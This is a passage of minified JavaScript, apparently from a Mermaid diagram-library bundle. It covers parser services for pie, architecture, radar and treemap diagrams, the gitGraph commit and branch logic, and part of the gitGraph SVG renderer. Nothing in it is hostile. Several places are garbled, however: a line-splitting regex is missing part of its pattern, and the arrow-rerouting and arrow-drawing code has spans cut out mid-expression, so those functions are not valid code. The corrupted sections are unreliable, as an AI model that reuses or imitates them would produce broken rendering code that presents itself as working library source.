e.ServiceRegistry.register(r),{shared:e,Pie:r}}var Gje,Vje,k6,lF=N(()=>{"use strict";qa();vo();Gje=class extends Ha{static{o(this,"PieTokenBuilder")}static{Tt(this,"PieTokenBuilder")}constructor(){super(["pie","showData"])}},Vje=class extends Vf{static{o(this,"PieValueConverter")}static{Tt(this,"PieValueConverter")}runCustomConverter(t,e,r){if(t.name==="PIE_SECTION_LABEL")return e.replace(/"/g,"").trim()}},k6={parser:{TokenBuilder:Tt(()=>new Gje,"TokenBuilder"),ValueConverter:Tt(()=>new Vje,"ValueConverter")}};o(E6,"createPieServices");Tt(E6,"createPieServices")});function C6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),tF,S6);return e.ServiceRegistry.register(r),{shared:e,Architecture:r}}var Uje,Hje,S6,cF=N(()=>{"use strict";qa();vo();Uje=class extends Ha{static{o(this,"ArchitectureTokenBuilder")}static{Tt(this,"ArchitectureTokenBuilder")}constructor(){super(["architecture"])}},Hje=class extends Vf{static{o(this,"ArchitectureValueConverter")}static{Tt(this,"ArchitectureValueConverter")}runCustomConverter(t,e,r){if(t.name==="ARCH_ICON")return e.replace(/[()]/g,"").trim();if(t.name==="ARCH_TEXT_ICON")return e.replace(/["()]/g,"");if(t.name==="ARCH_TITLE")return e.replace(/[[\]]/g,"").trim()}},S6={parser:{TokenBuilder:Tt(()=>new Uje,"TokenBuilder"),ValueConverter:Tt(()=>new Hje,"ValueConverter")}};o(C6,"createArchitectureServices");Tt(C6,"createArchitectureServices")});function _6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),nF,A6);return e.ServiceRegistry.register(r),{shared:e,Radar:r}}var qje,A6,uF=N(()=>{"use strict";qa();vo();qje=class extends Ha{static{o(this,"RadarTokenBuilder")}static{Tt(this,"RadarTokenBuilder")}constructor(){super(["radar-beta"])}},A6={parser:{TokenBuilder:Tt(()=>new qje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(_6,"createRadarServices");Tt(_6,"createRadarServices")});function sge(t){let e=t.validation.TreemapValidator,r=t.validation.ValidationRegistry;if(r){let n={Treemap:e.checkSingleRoot.bind(e)};r.register(n,e)}}function L6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),iF,D6);return e.ServiceRegistry.register(r),sge(r),{shared:e,Treemap:r}}var Wje,Yje,Xje,jje,D6,hF=N(()=>{"use strict";qa();vo();Wje=class extends Ha{static{o(this,"TreemapTokenBuilder")}static{Tt(this,"TreemapTokenBuilder")}constructor(){super(["treemap"])}},Yje=/classDef\s+([A-Z_a-z]\w+)(?:\s+([^\n\r;]*))?;?/,Xje=class extends Vf{static{o(this,"TreemapValueConverter")}static{Tt(this,"TreemapValueConverter")}runCustomConverter(t,e,r){if(t.name==="NUMBER2")return parseFloat(e.replace(/,/g,""));if(t.name==="SEPARATOR")return e.substring(1,e.length-1);if(t.name==="STRING2")return e.substring(1,e.length-1);if(t.name==="INDENTATION")return e.length;if(t.name==="ClassDef"){if(typeof e!="string")return e;let n=Yje.exec(e);if(n)return{$type:"ClassDefStatement",className:n[1],styleText:n[2]||void 0}}}};o(sge,"registerValidationChecks");Tt(sge,"registerValidationChecks");jje=class{static{o(this,"TreemapValidator")}static{Tt(this,"TreemapValidator")}checkSingleRoot(t,e){let r;for(let n of t.TreemapRows)n.item&&(r===void 0&&n.indent===void 0?r=0:n.indent===void 0?e("error","Multiple root nodes are not allowed in a treemap.",{node:n,property:"item"}):r!==void 0&&r>=parseInt(n.indent,10)&&e("error","Multiple root nodes are not allowed in a treemap.",{node:n,property:"item"}))}},D6={parser:{TokenBuilder:Tt(()=>new Wje,"TokenBuilder"),ValueConverter:Tt(()=>new Xje,"ValueConverter")},validation:{TreemapValidator:Tt(()=>new jje,"TreemapValidator")}};o(L6,"createTreemapServices");Tt(L6,"createTreemapServices")});var oge={};dr(oge,{InfoModule:()=>x6,createInfoServices:()=>b6});var lge=N(()=>{"use strict";sF();qa()});var cge={};dr(cge,{PacketModule:()=>T6,createPacketServices:()=>w6});var uge=N(()=>{"use strict";oF();qa()});var hge={};dr(hge,{PieModule:()=>k6,createPieServices:()=>E6});var fge=N(()=>{"use strict";lF();qa()});var dge={};dr(dge,{ArchitectureModule:()=>S6,createArchitectureServices:()=>C6});var pge=N(()=>{"use strict";cF();qa()});var mge={};dr(mge,{GitGraphModule:()=>y6,createGitGraphServices:()=>v6});var gge=N(()=>{"use strict";aF();qa()});var yge={};dr(yge,{RadarModule:()=>A6,createRadarServices:()=>_6});var vge=N(()=>{"use strict";uF();qa()});var xge={};dr(xge,{TreemapModule:()=>D6,createTreemapServices:()=>L6});var bge=N(()=>{"use strict";hF();qa()});async function bs(t,e){let r=Kje[t];if(!r)throw new Error(`Unknown diagram type: ${t}`);nh[t]||await r();let i=nh[t].parse(e);if(i.lexerErrors.length>0||i.parserErrors.length>0)throw new Qje(i);return i.value}var nh,Kje,Qje,Uf=N(()=>{"use strict";aF();sF();oF();lF();cF();uF();hF();qa();nh={},Kje={info:Tt(async()=>{let{createInfoServices:t}=await Promise.resolve().then(()=>(lge(),oge)),e=t().Info.parser.LangiumParser;nh.info=e},"info"),packet:Tt(async()=>{let{createPacketServices:t}=await Promise.resolve().then(()=>(uge(),cge)),e=t().Packet.parser.LangiumParser;nh.packet=e},"packet"),pie:Tt(async()=>{let{createPieServices:t}=await Promise.resolve().then(()=>(fge(),hge)),e=t().Pie.parser.LangiumParser;nh.pie=e},"pie"),architecture:Tt(async()=>{let{createArchitectureServices:t}=await Promise.resolve().then(()=>(pge(),dge)),e=t().Architecture.parser.LangiumParser;nh.architecture=e},"architecture"),gitGraph:Tt(async()=>{let{createGitGraphServices:t}=await Promise.resolve().then(()=>(gge(),mge)),e=t().GitGraph.parser.LangiumParser;nh.gitGraph=e},"gitGraph"),radar:Tt(async()=>{let{createRadarServices:t}=await Promise.resolve().then(()=>(vge(),yge)),e=t().Radar.parser.LangiumParser;nh.radar=e},"radar"),treemap:Tt(async()=>{let{createTreemapServices:t}=await Promise.resolve().then(()=>(bge(),xge)),e=t().Treemap.parser.LangiumParser;nh.treemap=e},"treemap")};o(bs,"parse");Tt(bs,"parse");Qje=class extends Error{static{o(this,"MermaidParseError")}constructor(t){let e=t.lexerErrors.map(n=>n.message).join(` +`),r=t.parserErrors.map(n=>n.message).join(` +`);super(`Parsing failed: ${e} ${r}`),this.result=t}static{Tt(this,"MermaidParseError")}}});function nl(t,e){t.accDescr&&e.setAccDescription?.(t.accDescr),t.accTitle&&e.setAccTitle?.(t.accTitle),t.title&&e.setDiagramTitle?.(t.title)}var r0=N(()=>{"use strict";o(nl,"populateCommonDb")});var rn,R6=N(()=>{"use strict";rn={NORMAL:0,REVERSE:1,HIGHLIGHT:2,MERGE:3,CHERRY_PICK:4}});var J1,fF=N(()=>{"use strict";J1=class{constructor(e){this.init=e;this.records=this.init()}static{o(this,"ImperativeState")}reset(){this.records=this.init()}}});function dF(){return VL({length:7})}function Jje(t,e){let r=Object.create(null);return t.reduce((n,i)=>{let a=e(i);return r[a]||(r[a]=!0,n.push(i)),n},[])}function Tge(t,e,r){let n=t.indexOf(e);n===-1?t.push(r):t.splice(n,1,r)}function kge(t){let e=t.reduce((i,a)=>i.seq>a.seq?i:a,t[0]),r="";t.forEach(function(i){i===e?r+=" *":r+=" |"});let n=[r,e.id,e.seq];for(let i in Dt.records.branches)Dt.records.branches.get(i)===e.id&&n.push(i);if(X.debug(n.join(" ")),e.parents&&e.parents.length==2&&e.parents[0]&&e.parents[1]){let i=Dt.records.commits.get(e.parents[0]);Tge(t,e,i),e.parents[1]&&t.push(Dt.records.commits.get(e.parents[1]))}else{if(e.parents.length==0)return;if(e.parents[0]){let i=Dt.records.commits.get(e.parents[0]);Tge(t,e,i)}}t=Jje(t,i=>i.id),kge(t)}var Zje,n0,Dt,eKe,tKe,rKe,nKe,iKe,aKe,sKe,wge,oKe,lKe,cKe,uKe,hKe,Ege,fKe,dKe,pKe,N6,pF=N(()=>{"use strict";pt();tr();qn();gr();ci();R6();fF();La();Zje=ur.gitGraph,n0=o(()=>Vn({...Zje,...Qt().gitGraph}),"getConfig"),Dt=new J1(()=>{let t=n0(),e=t.mainBranchName,r=t.mainBranchOrder;return{mainBranchName:e,commits:new Map,head:null,branchConfig:new Map([[e,{name:e,order:r}]]),branches:new Map([[e,null]]),currBranch:e,direction:"LR",seq:0,options:{}}});o(dF,"getID");o(Jje,"uniqBy");eKe=o(function(t){Dt.records.direction=t},"setDirection"),tKe=o(function(t){X.debug("options str",t),t=t?.trim(),t=t||"{}";try{Dt.records.options=JSON.parse(t)}catch(e){X.error("error while parsing gitGraph options",e.message)}},"setOptions"),rKe=o(function(){return Dt.records.options},"getOptions"),nKe=o(function(t){let e=t.msg,r=t.id,n=t.type,i=t.tags;X.info("commit",e,r,n,i),X.debug("Entering commit:",e,r,n,i);let a=n0();r=tt.sanitizeText(r,a),e=tt.sanitizeText(e,a),i=i?.map(l=>tt.sanitizeText(l,a));let s={id:r||Dt.records.seq+"-"+dF(),message:e,seq:Dt.records.seq++,type:n??rn.NORMAL,tags:i??[],parents:Dt.records.head==null?[]:[Dt.records.head.id],branch:Dt.records.currBranch};Dt.records.head=s,X.info("main branch",a.mainBranchName),Dt.records.commits.has(s.id)&&X.warn(`Commit ID ${s.id} already exists`),Dt.records.commits.set(s.id,s),Dt.records.branches.set(Dt.records.currBranch,s.id),X.debug("in pushCommit "+s.id)},"commit"),iKe=o(function(t){let e=t.name,r=t.order;if(e=tt.sanitizeText(e,n0()),Dt.records.branches.has(e))throw new Error(`Trying to create an existing branch. (Help: Either use a new name if you want create a new branch or try using "checkout ${e}")`);Dt.records.branches.set(e,Dt.records.head!=null?Dt.records.head.id:null),Dt.records.branchConfig.set(e,{name:e,order:r}),wge(e),X.debug("in createBranch")},"branch"),aKe=o(t=>{let e=t.branch,r=t.id,n=t.type,i=t.tags,a=n0();e=tt.sanitizeText(e,a),r&&(r=tt.sanitizeText(r,a));let s=Dt.records.branches.get(Dt.records.currBranch),l=Dt.records.branches.get(e),u=s?Dt.records.commits.get(s):void 0,h=l?Dt.records.commits.get(l):void 0;if(u&&h&&u.branch===e)throw new Error(`Cannot merge branch '${e}' into itself.`);if(Dt.records.currBranch===e){let p=new Error('Incorrect usage of "merge". Cannot merge a branch to itself');throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["branch abc"]},p}if(u===void 0||!u){let p=new Error(`Incorrect usage of "merge". Current branch (${Dt.records.currBranch})has no commits`);throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["commit"]},p}if(!Dt.records.branches.has(e)){let p=new Error('Incorrect usage of "merge". Branch to be merged ('+e+") does not exist");throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:[`branch ${e}`]},p}if(h===void 0||!h){let p=new Error('Incorrect usage of "merge". Branch to be merged ('+e+") has no commits");throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:['"commit"']},p}if(u===h){let p=new Error('Incorrect usage of "merge". Both branches have same head');throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["branch abc"]},p}if(r&&Dt.records.commits.has(r)){let p=new Error('Incorrect usage of "merge". Commit with id:'+r+" already exists, use different custom id");throw p.hash={text:`merge ${e} ${r} ${n} ${i?.join(" ")}`,token:`merge ${e} ${r} ${n} ${i?.join(" ")}`,expected:[`merge ${e} ${r}_UNIQUE ${n} ${i?.join(" ")}`]},p}let f=l||"",d={id:r||`${Dt.records.seq}-${dF()}`,message:`merged branch ${e} into ${Dt.records.currBranch}`,seq:Dt.records.seq++,parents:Dt.records.head==null?[]:[Dt.records.head.id,f],branch:Dt.records.currBranch,type:rn.MERGE,customType:n,customId:!!r,tags:i??[]};Dt.records.head=d,Dt.records.commits.set(d.id,d),Dt.records.branches.set(Dt.records.currBranch,d.id),X.debug(Dt.records.branches),X.debug("in mergeBranch")},"merge"),sKe=o(function(t){let e=t.id,r=t.targetId,n=t.tags,i=t.parent;X.debug("Entering cherryPick:",e,r,n);let a=n0();if(e=tt.sanitizeText(e,a),r=tt.sanitizeText(r,a),n=n?.map(u=>tt.sanitizeText(u,a)),i=tt.sanitizeText(i,a),!e||!Dt.records.commits.has(e)){let u=new Error('Incorrect usage of "cherryPick". Source commit id should exist and provided');throw u.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},u}let s=Dt.records.commits.get(e);if(s===void 0||!s)throw new Error('Incorrect usage of "cherryPick". Source commit id should exist and provided');if(i&&!(Array.isArray(s.parents)&&s.parents.includes(i)))throw new Error("Invalid operation: The specified parent commit is not an immediate parent of the cherry-picked commit.");let l=s.branch;if(s.type===rn.MERGE&&!i)throw new Error("Incorrect usage of cherry-pick: If the source commit is a merge commit, an immediate parent commit must be specified.");if(!r||!Dt.records.commits.has(r)){if(l===Dt.records.currBranch){let d=new Error('Incorrect usage of "cherryPick". Source commit is already on current branch');throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let u=Dt.records.branches.get(Dt.records.currBranch);if(u===void 0||!u){let d=new Error(`Incorrect usage of "cherry-pick". Current branch (${Dt.records.currBranch})has no commits`);throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let h=Dt.records.commits.get(u);if(h===void 0||!h){let d=new Error(`Incorrect usage of "cherry-pick". Current branch (${Dt.records.currBranch})has no commits`);throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let f={id:Dt.records.seq+"-"+dF(),message:`cherry-picked ${s?.message} into ${Dt.records.currBranch}`,seq:Dt.records.seq++,parents:Dt.records.head==null?[]:[Dt.records.head.id,s.id],branch:Dt.records.currBranch,type:rn.CHERRY_PICK,tags:n?n.filter(Boolean):[`cherry-pick:${s.id}${s.type===rn.MERGE?`|parent:${i}`:""}`]};Dt.records.head=f,Dt.records.commits.set(f.id,f),Dt.records.branches.set(Dt.records.currBranch,f.id),X.debug(Dt.records.branches),X.debug("in cherryPick")}},"cherryPick"),wge=o(function(t){if(t=tt.sanitizeText(t,n0()),Dt.records.branches.has(t)){Dt.records.currBranch=t;let e=Dt.records.branches.get(Dt.records.currBranch);e===void 0||!e?Dt.records.head=null:Dt.records.head=Dt.records.commits.get(e)??null}else{let e=new Error(`Trying to checkout branch which is not yet created. (Help try using "branch ${t}")`);throw e.hash={text:`checkout ${t}`,token:`checkout ${t}`,expected:[`branch ${t}`]},e}},"checkout");o(Tge,"upsert");o(kge,"prettyPrintCommitHistory");oKe=o(function(){X.debug(Dt.records.commits);let t=Ege()[0];kge([t])},"prettyPrint"),lKe=o(function(){Dt.reset(),Sr()},"clear"),cKe=o(function(){return[...Dt.records.branchConfig.values()].map((e,r)=>e.order!==null&&e.order!==void 0?e:{...e,order:parseFloat(`0.${r}`)}).sort((e,r)=>(e.order??0)-(r.order??0)).map(({name:e})=>({name:e}))},"getBranchesAsObjArray"),uKe=o(function(){return Dt.records.branches},"getBranches"),hKe=o(function(){return Dt.records.commits},"getCommits"),Ege=o(function(){let t=[...Dt.records.commits.values()];return t.forEach(function(e){X.debug(e.id)}),t.sort((e,r)=>e.seq-r.seq),t},"getCommitsArray"),fKe=o(function(){return Dt.records.currBranch},"getCurrentBranch"),dKe=o(function(){return Dt.records.direction},"getDirection"),pKe=o(function(){return Dt.records.head},"getHead"),N6={commitType:rn,getConfig:n0,setDirection:eKe,setOptions:tKe,getOptions:rKe,commit:nKe,branch:iKe,merge:aKe,cherryPick:sKe,checkout:wge,prettyPrint:oKe,clear:lKe,getBranchesAsObjArray:cKe,getBranches:uKe,getCommits:hKe,getCommitsArray:Ege,getCurrentBranch:fKe,getDirection:dKe,getHead:pKe,setAccTitle:Rr,getAccTitle:Mr,getAccDescription:Or,setAccDescription:Ir,setDiagramTitle:$r,getDiagramTitle:Pr}});var mKe,gKe,yKe,vKe,xKe,bKe,TKe,Sge,Cge=N(()=>{"use strict";Uf();pt();r0();pF();R6();mKe=o((t,e)=>{nl(t,e),t.dir&&e.setDirection(t.dir);for(let r of t.statements)gKe(r,e)},"populate"),gKe=o((t,e)=>{let n={Commit:o(i=>e.commit(yKe(i)),"Commit"),Branch:o(i=>e.branch(vKe(i)),"Branch"),Merge:o(i=>e.merge(xKe(i)),"Merge"),Checkout:o(i=>e.checkout(bKe(i)),"Checkout"),CherryPicking:o(i=>e.cherryPick(TKe(i)),"CherryPicking")}[t.$type];n?n(t):X.error(`Unknown statement type: ${t.$type}`)},"parseStatement"),yKe=o(t=>({id:t.id,msg:t.message??"",type:t.type!==void 0?rn[t.type]:rn.NORMAL,tags:t.tags??void 0}),"parseCommit"),vKe=o(t=>({name:t.name,order:t.order??0}),"parseBranch"),xKe=o(t=>({branch:t.branch,id:t.id??"",type:t.type!==void 0?rn[t.type]:void 0,tags:t.tags??void 0}),"parseMerge"),bKe=o(t=>t.branch,"parseCheckout"),TKe=o(t=>({id:t.id,targetId:"",tags:t.tags?.length===0?void 0:t.tags,parent:t.parent}),"parseCherryPicking"),Sge={parse:o(async t=>{let e=await bs("gitGraph",t);X.debug(e),mKe(e,N6)},"parse")}});var wKe,il,qf,Wf,Jc,ih,i0,Ks,Qs,M6,h4,I6,Hf,Vr,kKe,_ge,Dge,EKe,SKe,CKe,AKe,_Ke,DKe,LKe,RKe,NKe,MKe,IKe,OKe,Age,PKe,f4,BKe,FKe,$Ke,zKe,GKe,Lge,Rge=N(()=>{"use strict";yr();Xt();pt();tr();R6();wKe=ge(),il=wKe?.gitGraph,qf=10,Wf=40,Jc=4,ih=2,i0=8,Ks=new Map,Qs=new Map,M6=30,h4=new Map,I6=[],Hf=0,Vr="LR",kKe=o(()=>{Ks.clear(),Qs.clear(),h4.clear(),Hf=0,I6=[],Vr="LR"},"clear"),_ge=o(t=>{let e=document.createElementNS("http://www.w3.org/2000/svg","text");return(typeof t=="string"?t.split(/\\n|\n|/gi):t).forEach(n=>{let i=document.createElementNS("http://www.w3.org/2000/svg","tspan");i.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),i.setAttribute("dy","1em"),i.setAttribute("x","0"),i.setAttribute("class","row"),i.textContent=n.trim(),e.appendChild(i)}),e},"drawText"),Dge=o(t=>{let e,r,n;return Vr==="BT"?(r=o((i,a)=>i<=a,"comparisonFunc"),n=1/0):(r=o((i,a)=>i>=a,"comparisonFunc"),n=0),t.forEach(i=>{let a=Vr==="TB"||Vr=="BT"?Qs.get(i)?.y:Qs.get(i)?.x;a!==void 0&&r(a,n)&&(e=i,n=a)}),e},"findClosestParent"),EKe=o(t=>{let e="",r=1/0;return t.forEach(n=>{let i=Qs.get(n).y;i<=r&&(e=n,r=i)}),e||void 0},"findClosestParentBT"),SKe=o((t,e,r)=>{let n=r,i=r,a=[];t.forEach(s=>{let l=e.get(s);if(!l)throw new Error(`Commit not found for key ${s}`);l.parents.length?(n=AKe(l),i=Math.max(n,i)):a.push(l),_Ke(l,n)}),n=i,a.forEach(s=>{DKe(s,n,r)}),t.forEach(s=>{let l=e.get(s);if(l?.parents.length){let u=EKe(l.parents);n=Qs.get(u).y-Wf,n<=i&&(i=n);let h=Ks.get(l.branch).pos,f=n-qf;Qs.set(l.id,{x:h,y:f})}})},"setParallelBTPos"),CKe=o(t=>{let e=Dge(t.parents.filter(n=>n!==null));if(!e)throw new Error(`Closest parent not found for commit ${t.id}`);let r=Qs.get(e)?.y;if(r===void 0)throw new Error(`Closest parent position not found for commit ${t.id}`);return r},"findClosestParentPos"),AKe=o(t=>CKe(t)+Wf,"calculateCommitPosition"),_Ke=o((t,e)=>{let r=Ks.get(t.branch);if(!r)throw new Error(`Branch not found for commit ${t.id}`);let n=r.pos,i=e+qf;return Qs.set(t.id,{x:n,y:i}),{x:n,y:i}},"setCommitPosition"),DKe=o((t,e,r)=>{let n=Ks.get(t.branch);if(!n)throw new Error(`Branch not found for commit ${t.id}`);let i=e+r,a=n.pos;Qs.set(t.id,{x:a,y:i})},"setRootPosition"),LKe=o((t,e,r,n,i,a)=>{if(a===rn.HIGHLIGHT)t.append("rect").attr("x",r.x-10).attr("y",r.y-10).attr("width",20).attr("height",20).attr("class",`commit ${e.id} commit-highlight${i%i0} ${n}-outer`),t.append("rect").attr("x",r.x-6).attr("y",r.y-6).attr("width",12).attr("height",12).attr("class",`commit ${e.id} commit${i%i0} ${n}-inner`);else if(a===rn.CHERRY_PICK)t.append("circle").attr("cx",r.x).attr("cy",r.y).attr("r",10).attr("class",`commit ${e.id} ${n}`),t.append("circle").attr("cx",r.x-3).attr("cy",r.y+2).attr("r",2.75).attr("fill","#fff").attr("class",`commit ${e.id} ${n}`),t.append("circle").attr("cx",r.x+3).attr("cy",r.y+2).attr("r",2.75).attr("fill","#fff").attr("class",`commit ${e.id} ${n}`),t.append("line").attr("x1",r.x+3).attr("y1",r.y+1).attr("x2",r.x).attr("y2",r.y-5).attr("stroke","#fff").attr("class",`commit ${e.id} ${n}`),t.append("line").attr("x1",r.x-3).attr("y1",r.y+1).attr("x2",r.x).attr("y2",r.y-5).attr("stroke","#fff").attr("class",`commit ${e.id} ${n}`);else{let s=t.append("circle");if(s.attr("cx",r.x),s.attr("cy",r.y),s.attr("r",e.type===rn.MERGE?9:10),s.attr("class",`commit ${e.id} commit${i%i0}`),a===rn.MERGE){let l=t.append("circle");l.attr("cx",r.x),l.attr("cy",r.y),l.attr("r",6),l.attr("class",`commit ${n} ${e.id} commit${i%i0}`)}a===rn.REVERSE&&t.append("path").attr("d",`M ${r.x-5},${r.y-5}L${r.x+5},${r.y+5}M${r.x-5},${r.y+5}L${r.x+5},${r.y-5}`).attr("class",`commit ${n} ${e.id} commit${i%i0}`)}},"drawCommitBullet"),RKe=o((t,e,r,n)=>{if(e.type!==rn.CHERRY_PICK&&(e.customId&&e.type===rn.MERGE||e.type!==rn.MERGE)&&il?.showCommitLabel){let i=t.append("g"),a=i.insert("rect").attr("class","commit-label-bkg"),s=i.append("text").attr("x",n).attr("y",r.y+25).attr("class","commit-label").text(e.id),l=s.node()?.getBBox();if(l&&(a.attr("x",r.posWithOffset-l.width/2-ih).attr("y",r.y+13.5).attr("width",l.width+2*ih).attr("height",l.height+2*ih),Vr==="TB"||Vr==="BT"?(a.attr("x",r.x-(l.width+4*Jc+5)).attr("y",r.y-12),s.attr("x",r.x-(l.width+4*Jc)).attr("y",r.y+l.height-12)):s.attr("x",r.posWithOffset-l.width/2),il.rotateCommitLabel))if(Vr==="TB"||Vr==="BT")s.attr("transform","rotate(-45, "+r.x+", "+r.y+")"),a.attr("transform","rotate(-45, "+r.x+", "+r.y+")");else{let u=-7.5-(l.width+10)/25*9.5,h=10+l.width/25*8.5;i.attr("transform","translate("+u+", "+h+") rotate(-45, "+n+", "+r.y+")")}}},"drawCommitLabel"),NKe=o((t,e,r,n)=>{if(e.tags.length>0){let i=0,a=0,s=0,l=[];for(let u of e.tags.reverse()){let h=t.insert("polygon"),f=t.append("circle"),d=t.append("text").attr("y",r.y-16-i).attr("class","tag-label").text(u),p=d.node()?.getBBox();if(!p)throw new Error("Tag bbox not found");a=Math.max(a,p.width),s=Math.max(s,p.height),d.attr("x",r.posWithOffset-p.width/2),l.push({tag:d,hole:f,rect:h,yOffset:i}),i+=20}for(let{tag:u,hole:h,rect:f,yOffset:d}of l){let p=s/2,m=r.y-19.2-d;if(f.attr("class","tag-label-bkg").attr("points",` + ${n-a/2-Jc/2},${m+ih} + ${n-a/2-Jc/2},${m-ih} + ${r.posWithOffset-a/2-Jc},${m-p-ih} + ${r.posWithOffset+a/2+Jc},${m-p-ih} + ${r.posWithOffset+a/2+Jc},${m+p+ih} + ${r.posWithOffset-a/2-Jc},${m+p+ih}`),h.attr("cy",m).attr("cx",n-a/2+Jc/2).attr("r",1.5).attr("class","tag-hole"),Vr==="TB"||Vr==="BT"){let g=n+d;f.attr("class","tag-label-bkg").attr("points",` + ${r.x},${g+2} + ${r.x},${g-2} + ${r.x+qf},${g-p-2} + ${r.x+qf+a+4},${g-p-2} + ${r.x+qf+a+4},${g+p+2} + ${r.x+qf},${g+p+2}`).attr("transform","translate(12,12) rotate(45, "+r.x+","+n+")"),h.attr("cx",r.x+Jc/2).attr("cy",g).attr("transform","translate(12,12) rotate(45, "+r.x+","+n+")"),u.attr("x",r.x+5).attr("y",g+3).attr("transform","translate(14,14) rotate(45, "+r.x+","+n+")")}}}},"drawCommitTags"),MKe=o(t=>{switch(t.customType??t.type){case rn.NORMAL:return"commit-normal";case rn.REVERSE:return"commit-reverse";case rn.HIGHLIGHT:return"commit-highlight";case rn.MERGE:return"commit-merge";case rn.CHERRY_PICK:return"commit-cherry-pick";default:return"commit-normal"}},"getCommitClassType"),IKe=o((t,e,r,n)=>{let i={x:0,y:0};if(t.parents.length>0){let a=Dge(t.parents);if(a){let s=n.get(a)??i;return e==="TB"?s.y+Wf:e==="BT"?(n.get(t.id)??i).y-Wf:s.x+Wf}}else return e==="TB"?M6:e==="BT"?(n.get(t.id)??i).y-Wf:0;return 0},"calculatePosition"),OKe=o((t,e,r)=>{let n=Vr==="BT"&&r?e:e+qf,i=Vr==="TB"||Vr==="BT"?n:Ks.get(t.branch)?.pos,a=Vr==="TB"||Vr==="BT"?Ks.get(t.branch)?.pos:n;if(a===void 0||i===void 0)throw new Error(`Position were undefined for commit ${t.id}`);return{x:a,y:i,posWithOffset:n}},"getCommitPosition"),Age=o((t,e,r)=>{if(!il)throw new Error("GitGraph config not found");let n=t.append("g").attr("class","commit-bullets"),i=t.append("g").attr("class","commit-labels"),a=Vr==="TB"||Vr==="BT"?M6:0,s=[...e.keys()],l=il?.parallelCommits??!1,u=o((f,d)=>{let p=e.get(f)?.seq,m=e.get(d)?.seq;return p!==void 0&&m!==void 0?p-m:0},"sortKeys"),h=s.sort(u);Vr==="BT"&&(l&&SKe(h,e,a),h=h.reverse()),h.forEach(f=>{let d=e.get(f);if(!d)throw new Error(`Commit not found for key ${f}`);l&&(a=IKe(d,Vr,a,Qs));let p=OKe(d,a,l);if(r){let m=MKe(d),g=d.customType??d.type,y=Ks.get(d.branch)?.index??0;LKe(n,d,p,m,y,g),RKe(i,d,p,a),NKe(i,d,p,a)}Vr==="TB"||Vr==="BT"?Qs.set(d.id,{x:p.x,y:p.posWithOffset}):Qs.set(d.id,{x:p.posWithOffset,y:p.y}),a=Vr==="BT"&&l?a+Wf:a+Wf+qf,a>Hf&&(Hf=a)})},"drawCommits"),PKe=o((t,e,r,n,i)=>{let s=(Vr==="TB"||Vr==="BT"?r.xh.branch===s,"isOnBranchToGetCurve"),u=o(h=>h.seq>t.seq&&h.sequ(h)&&l(h))},"shouldRerouteArrow"),f4=o((t,e,r=0)=>{let n=t+Math.abs(t-e)/2;if(r>5)return n;if(I6.every(s=>Math.abs(s-n)>=10))return I6.push(n),n;let a=Math.abs(t-e);return f4(t,e-a/5,r+1)},"findLane"),BKe=o((t,e,r,n)=>{let i=Qs.get(e.id),a=Qs.get(r.id);if(i===void 0||a===void 0)throw new Error(`Commit positions not found for commits ${e.id} and ${r.id}`);let s=PKe(e,r,i,a,n),l="",u="",h=0,f=0,d=Ks.get(r.branch)?.index;r.type===rn.MERGE&&e.id!==r.parents[0]&&(d=Ks.get(e.branch)?.index);let p;if(s){l="A 10 10, 0, 0, 0,",u="A 10 10, 0, 0, 1,",h=10,f=10;let m=i.ya.x&&(l="A 20 20, 0, 0, 0,",u="A 20 20, 0, 0, 1,",h=20,f=20,r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${i.x} ${a.y-h} ${u} ${i.x-f} ${a.y} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${a.x+h} ${i.y} ${l} ${a.x} ${i.y+f} L ${a.x} ${a.y}`),i.x===a.x&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`)):Vr==="BT"?(i.xa.x&&(l="A 20 20, 0, 0, 0,",u="A 20 20, 0, 0, 1,",h=20,f=20,r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${i.x} ${a.y+h} ${l} ${i.x-f} ${a.y} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${a.x-h} ${i.y} ${l} ${a.x} ${i.y-f} L ${a.x} ${a.y}`),i.x===a.x&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`)):(i.ya.y&&(r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${a.x-h} ${i.y} ${l} ${a.x} ${i.y-f} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${i.x} ${a.y+h} ${u} ${i.x+f} ${a.y} L ${a.x} ${a.y}`),i.y===a.y&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`));if(p===void 0)throw new Error("Line definition not found");t.append("path").attr("d",p).attr("class","arrow arrow"+d%i0)},"drawArrow"),FKe=o((t,e)=>{let r=t.append("g").attr("class","commit-arrows");[...e.keys()].forEach(n=>{let i=e.get(n);i.parents&&i.parents.length>0&&i.parents.forEach(a=>{BKe(r,e.get(a),i,e)})})},"drawArrows"),$Ke=o((t,e)=>{let r=t.append("g");e.forEach((n,i)=>{let a=i%i0,s=Ks.get(n.name)?.pos;if(s===void 0)throw new Error(`Position not found for branch ${n.name}`);let l=r.append("line");l.attr("x1",0),l.attr("y1",s),l.attr("x2",Hf),l.attr("y2",s),l.attr("class","branch 